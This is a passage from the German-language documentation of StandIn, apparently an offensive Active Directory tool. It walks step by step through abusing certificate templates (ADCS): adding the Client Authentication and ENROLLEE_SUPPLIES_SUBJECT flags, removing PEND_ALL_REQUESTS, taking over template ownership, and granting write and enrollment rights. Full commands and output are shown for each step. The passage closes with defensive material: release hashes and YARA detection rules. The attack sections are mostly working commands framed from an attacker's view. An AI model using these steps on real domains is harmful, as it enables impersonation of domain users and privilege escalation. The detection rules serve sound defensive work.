[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Schema Version : 1 |_ pKIExpirationPeriod : 2 years |_ pKIOverlapPeriod : 6 weeks |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Server Authentication |_ Owner : REDHOOK\Enterprise Admins |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Users | |_ Type : Allow | |_ Permission : GenericAll | |_ Object : ANY |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 1:57:16 PM
### Client-Authentifizierung
#### Anwendungsfall
> *Um Zertifikate generieren zu können, die zur Identitätsübernahme von Domänenbenutzern verwendet werden können, muss die Eigenschaft `pKIExtendedKeyUsage` der Zertifikatsvorlage das Flag `Client Authentication` enthalten. Mit den entsprechenden `Objektberechtigungen` ermöglicht diese Funktion dem Bediener, dieses Flag zur Vorlage hinzuzufügen oder daraus zu entfernen.*
#### Syntax
Hinzufügen/Entfernen des `Client Authentication`-Flags aus der `WebServer`-Vorlage. Hierbei muss das `--filter`-Flag exakt mit dem Vorlagennamen übereinstimmen.```
C:\>StandIn.exe --adcs --filter WebServer --clientauth --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 2:40:06 PM
[+] Adding pKIExtendedKeyUsage : Client Authentication
|_ Success
C:\>StandIn.exe --adcs --filter WebServer --clientauth --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 1:57:16 PM
[+] Removing pKIExtendedKeyUsage : Client Authentication
|_ Success
Um in der Lage zu sein, bei Zertifikatsanfragen eine beliebige Benutzeridentität bereitzustellen, muss die Zertifikatsvorlage
msPKI-Certificate-Name-Flag-Eigenschaft dasENROLLEE_SUPPLIES_SUBJECT-Flag enthalten. Mit den entsprechendenObjektberechtigungenermöglicht diese Funktion dem Operator, dieses Flag zur Vorlage hinzuzufügen oder daraus zu entfernen.
Hinzufügen/Entfernen des ENROLLEE_SUPPLIES_SUBJECT-Flags aus der WebServer-Vorlage. Hier muss das --filter-Flag exakt mit dem Vorlagennamen übereinstimmen.```
C:>StandIn.exe --adcs --filter WebServer --ess --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : 0 |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 2:50:34 PM
[+] Adding msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT |_ Success
C:>StandIn.exe --adcs --filter WebServer --ess --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 2:40:08 PM
[+] Removing msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT |_ Success
### PEND_ALL_REQUESTS
#### Anwendungsfall
> *Wenn die Eigenschaft `msPKI-Enrollment-Flag` der Zertifikatvorlage das Flag `PEND_ALL_REQUESTS` enthält, werden alle Zertifikatsanfragen in den Status `pending` zurückgestellt und der `CA Certificate Manager` muss diese Anfragen genehmigen. Aus Sicht eines Angreifers ist dies nicht wünschenswert. Mit entsprechenden Objektberechtigungen ermöglicht diese Funktion dem Operator, dieses Flag in der Vorlage hinzuzufügen oder zu entfernen.*
#### Syntax
Hinzufügen/Entfernen des Flags `PEND_ALL_REQUESTS` aus der Vorlage `WebServer`. Dabei muss das Flag `--filter` exakt mit dem Vorlagennamen übereinstimmen.```
C:\>StandIn.exe --adcs --filter WebServer --pend --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : PEND_ALL_REQUESTS
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 2:54:51 PM
[+] Removing msPKI-Enrollment-Flag : PEND_ALL_REQUESTS
|_ Success
C:\>StandIn.exe --adcs --filter WebServer --pend --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 2:50:37 PM
[+] Adding msPKI-Enrollment-Flag : PEND_ALL_REQUESTS
|_ Success
In einigen speziellen Fällen kann der Operator über
WriteOwner-Berechtigungen für dastemplate objectverfügen. Wenn andere Angriffe nicht möglich sind, kann der Operator den Besitzer der Vorlage ändern, was dem neuen BesitzerGenericAll-Berechtigungen für die Vorlage gewährt. Dieser Angriff ist nicht sehr wünschenswert, siehecaveats.
Setzen Sie den Owner des template object auf REDHOOK\MBWillett. Hier muss das --filter-Flag genau mit dem Vorlagennamen übereinstimmen.```
C:>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --owner
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 2:58:19 PM
[+] Set object access rules
[+] Changing template owner : REDHOOK\MBWillett |_ Success
C:>StandIn.exe --adcs --filter WebServer
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Certificate Authority : redhook-RH-DC01-CA |_ DNS Hostname : RH-DC01.redhook.local |_ Cert DN : CN=redhook-RH-DC01-CA, DC=redhook, DC=local |_ GUID : e1885348-e2b3-4e02-9147-54c4c430bc53 |_ Published Templates : CrossCA DirectoryEmailReplication DomainControllerAuthentication KerberosAuthentication EFSRecovery EFS DomainController WebServer Machine User SubCA Administrator
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Schema Version : 1 |_ pKIExpirationPeriod : 2 years |_ pKIOverlapPeriod : 6 weeks |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Owner : REDHOOK\MBWillett |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Users | |_ Type : Allow | |_ Permission : GenericAll | |_ Object : ANY |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:05:45 PM
#### Einschränkungen
Dieser Angriff bringt einige zusätzliche Einschränkungen mit sich. In Labortests habe ich festgestellt, dass ein Benutzer mit der Berechtigung `WriteOwner` den Besitzer `nur auf sich selbst ändern` konnte; die Angabe einer anderen Benutzeridentität führte zu einem Fehler. Zusätzlich konnte der Besitzer nach der Änderung nicht in den vorherigen Zustand zurückversetzt werden, es sei denn, der Vorgang wurde von einem `Enterprise Admins`-Kontext aus ausgeführt.
Diese Einschränkungen machen diesen Angriff unattraktiv; er sollte nur verwendet werden, wenn keine anderen Optionen zur Verfügung stehen. Um zum alten `Owner` zurückzukehren, kann der Operator ein Zertifikat für einen `Enterprise Admins`-Benutzer erstellen und dieses verwenden, um den Besitzer zurückzuändern.```
# WebServer owned by REDHOOK\MBWillett & executing as "REDHOOK\MBWillett"
C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\Enterprise Admins" --owner
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 4:18:21 PM
[+] Set object access rules
[+] Changing template owner : REDHOOK\Enterprise Admins
[!] Failed to modify ADCS permissions..
|_ A constraint violation occurred.
# WebServer owned by REDHOOK\MBWillett & executing in "REDHOOK\Enterprise Admins" context
C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\Enterprise Admins" --owner
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 3:05:45 PM
[+] Set object access rules
[+] Changing template owner : REDHOOK\Enterprise Admins
|_ Success
Vorlagen-Schreibberechtigungen können erforderlich sein, um einige der anderen beschriebenen
Vorlagenangriffedurchzuführen. Mit den entsprechendenObjektberechtigungenermöglicht diese Funktion dem Operator, die BerechtigungenWriteDacl/WriteOwner/WritePropertyvon einemNtAccountauf demVorlagenobjekthinzuzufügen oder zu entfernen.
Hinzufügen/Entfernen von Write-Berechtigungen über die WebServer-Vorlage für REDHOOK\MBWillett. Hier muss das --filter-Flag exakt mit dem Vorlagennamen übereinstimmen.```
C:>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --write --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:15:44 PM
[+] Set object access rules
[+] Adding write permissions : REDHOOK\MBWillett |_ Success
C:>StandIn.exe --adcs --filter WebServer
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Certificate Authority : redhook-RH-DC01-CA |_ DNS Hostname : RH-DC01.redhook.local |_ Cert DN : CN=redhook-RH-DC01-CA, DC=redhook, DC=local |_ GUID : e1885348-e2b3-4e02-9147-54c4c430bc53 |_ Published Templates : CrossCA DirectoryEmailReplication DomainControllerAuthentication KerberosAuthentication EFSRecovery EFS DomainController WebServer Machine User SubCA Administrator
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Schema Version : 1 |_ pKIExpirationPeriod : 2 years |_ pKIOverlapPeriod : 6 weeks |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Owner : REDHOOK\Enterprise Admins |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Users | |_ Type : Allow | |_ Permission : GenericAll | |_ Object : ANY |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\MBWillett | |_ Type : Allow | |_ Permission : WriteProperty, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:29:36 PM
C:>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --write --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:29:36 PM
[+] Set object access rules
[+] Removing write permissions : REDHOOK\MBWillett |_ Success
### Hinzufügen der Certificate-Enrollment-Berechtigung
#### Anwendungsfall
> *Um `template certificates` anfordern zu können, muss der `requestor` über `Certificate-Enrollment`-Berechtigungen verfügen. Mit den entsprechenden `object permissions` ermöglicht diese Funktion dem Operator, `Certificate-Enrollment`-Berechtigungen von einem `NtAccount` auf dem `template object` hinzuzufügen oder zu entfernen.*
#### Syntax
Hinzufügen/Entfernen von `Certificate-Enrollment`-Berechtigungen auf der `WebServer`-Vorlage für `REDHOOK\MBWillett`. Dabei muss das `--filter`-Flag exakt mit dem Namen der Vorlage übereinstimmen.```
C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --enroll --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 3:29:57 PM
[+] Set object access rules
[+] Adding Certificate-Enrollment permission : REDHOOK\MBWillett
|_ Success
C:\>StandIn.exe --adcs --filter WebServer
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Certificate Authority : redhook-RH-DC01-CA
|_ DNS Hostname : RH-DC01.redhook.local
|_ Cert DN : CN=redhook-RH-DC01-CA, DC=redhook, DC=local
|_ GUID : e1885348-e2b3-4e02-9147-54c4c430bc53
|_ Published Templates : CrossCA
DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
DomainController
WebServer
Machine
User
SubCA
Administrator
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Schema Version : 1
|_ pKIExpirationPeriod : 2 years
|_ pKIOverlapPeriod : 6 weeks
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Owner : REDHOOK\Enterprise Admins
|_ Permission Identity : REDHOOK\Domain Admins
| |_ Type : Allow
| |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
| |_ Object : ANY
|_ Permission Identity : REDHOOK\Domain Users
| |_ Type : Allow
| |_ Permission : GenericAll
| |_ Object : ANY
|_ Permission Identity : REDHOOK\Enterprise Admins
| |_ Type : Allow
| |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
| |_ Object : ANY
|_ Permission Identity : REDHOOK\Domain Admins
| |_ Type : Allow
| |_ Permission : ReadProperty, WriteProperty, ExtendedRight
| |_ Object : Certificate-Enrollment
|_ Permission Identity : REDHOOK\Enterprise Admins
| |_ Type : Allow
| |_ Permission : ReadProperty, WriteProperty, ExtendedRight
| |_ Object : Certificate-Enrollment
|_ Permission Identity : REDHOOK\MBWillett
| |_ Type : Allow
| |_ Permission : ExtendedRight
| |_ Object : Certificate-Enrollment
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 3:38:36 PM
C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --enroll --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 3:38:36 PM
[+] Set object access rules
[+] Removing Certificate-Enrollment permission : REDHOOK\MBWillett
|_ Success
Dieser Abschnitt beschreibt eine Reihe von IOCs, die den Prozess der Erkennungsentwicklung für StandIn unterstützen können.
Die folgende Tabelle zeigt die Hash-Werte der Release-Pakete für StandIn.``` -=v1.3=- StandIn_Net35.exe SHA256: C2ACD3667483E5AC1E423E482DBA462E96DA3978776BFED07D9B436FEE135AB2 MD5: 5E9364F46723B7DC5FF24DE6E9C69E76
StandIn_Net45.exe SHA256: 2E37A3D2DC2ECB0BD026C93055A71CAB4E568B062B1C9F7B8846E04DF1E9F3E6 MD5: 566FFA0555E81560407B8CE6E458E829
-=v1.2=- StandIn_Net35.exe SHA256: DCCDA4991BEBC5F2399C47C798981E7828ECC2BA77ED52A1D37BD866AD5582AA MD5: D11A8CC4768221CEB5A128A349C5E094
StandIn_Net45.exe SHA256: 24C53132B594B77D2109CAEE3E276EA4603EEF32BFECD5121746DB58258C50F7 MD5: DA2AFD1868FBEB9357C8D0FD62ED97EB
-=v0.8=- StandIn_Net35.exe SHA256: A0B3C96CA89770ED04E37D43188427E0016B42B03C0102216C5F6A785B942BD3 MD5: 8C942EE4553E40A7968FF0C8DC5DB9AB
StandIn_Net45.exe SHA256: F80AEB33FC53F2C8D6313A6B20CD117739A71382C208702B43073D54C9ACA681 MD5: 9E0FC3159A6BF8C3A8A0FAA76F6F74F9
-=v0.7=- StandIn_Net35.exe SHA256: A1ECD50DA8AAE5734A5F5C4A6A951B5F3C99CC4FB939AC60EF5EE19896CA23A0 MD5: 50D29F7597BF83D80418DEEFD360F093
StandIn_Net45.exe SHA256: DBAB7B9CC694FC37354E3A18F9418586172ED6660D8D205EAFFF945525A6A31A MD5: 4E5258A876ABCD2CA2EF80E0D5D93195
#### Yara
Die folgenden Yara-Regeln können verwendet werden, um StandIn auf der Festplatte in seiner Standardform zu erkennen.```js
rule StandIn
{
meta:
author = "Ruben Boonen (@FuzzySec)"
description = "Detect StandIn string constants."
strings:
$s1 = "StandIn" ascii wide nocase
$s2 = "(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" ascii wide nocase
$s3 = "msDS-AllowedToActOnBehalfOfOtherIdentity" ascii wide nocase
$s4 = ">--~~--> Args? <--~~--<" ascii wide nocase
condition:
all of ($s*)
}
rule StandIn_PDB
{
meta:
author = "Ruben Boonen (@FuzzySec)"
description = "Detect StandIn default PDB."
strings:
$s1 = "\\Release\\StandIn.pdb" ascii wide nocase
condition:
all of ($s*)
}
Die folgende Yara-Regel kann verwendet werden, um StandIn zu erkennen, wenn die Ausführung aus dem Speicher erfolgt. Um diese Regel zu verwenden, benötigt die EDR-Lösung Zugriff auf den ETW-Datenanbieter Microsoft-Windows-DotNETRuntime. Zu Testzwecken kann diese Regel direkt mit SilkETW ausgewertet werden. Es sollte beachtet werden, dass dies eine generische Beispielregel ist; die Alarmierung in der Produktion würde einen detaillierteren Ansatz erfordern.```js
rule Silk_StandIn_Generic
{
meta:
author = "Ruben Boonen (@FuzzySec)"
description = "Generic Microsoft-Windows-DotNETRuntime detection for StandIn."
strings:
$s1 = "\\r\\nFullyQualifiedAssemblyName=0;\\r\\nClrInstanceID=StandIn" ascii wide nocase
$s2 = "MethodFlags=Jitted;\\r\\nMethodNamespace=StandIn." ascii wide nocase
condition:
any of them
}

## Besonderer Dank
Ich möchte nur kurz all denen danken, die Code und/oder Bugfixes zu `StandIn` beigetragen haben.
[@G0ldenGunSec](https://twitter.com/G0ldenGunSec), [@matterpreter](https://twitter.com/matterpreter), [guervild](https://github.com/guervild)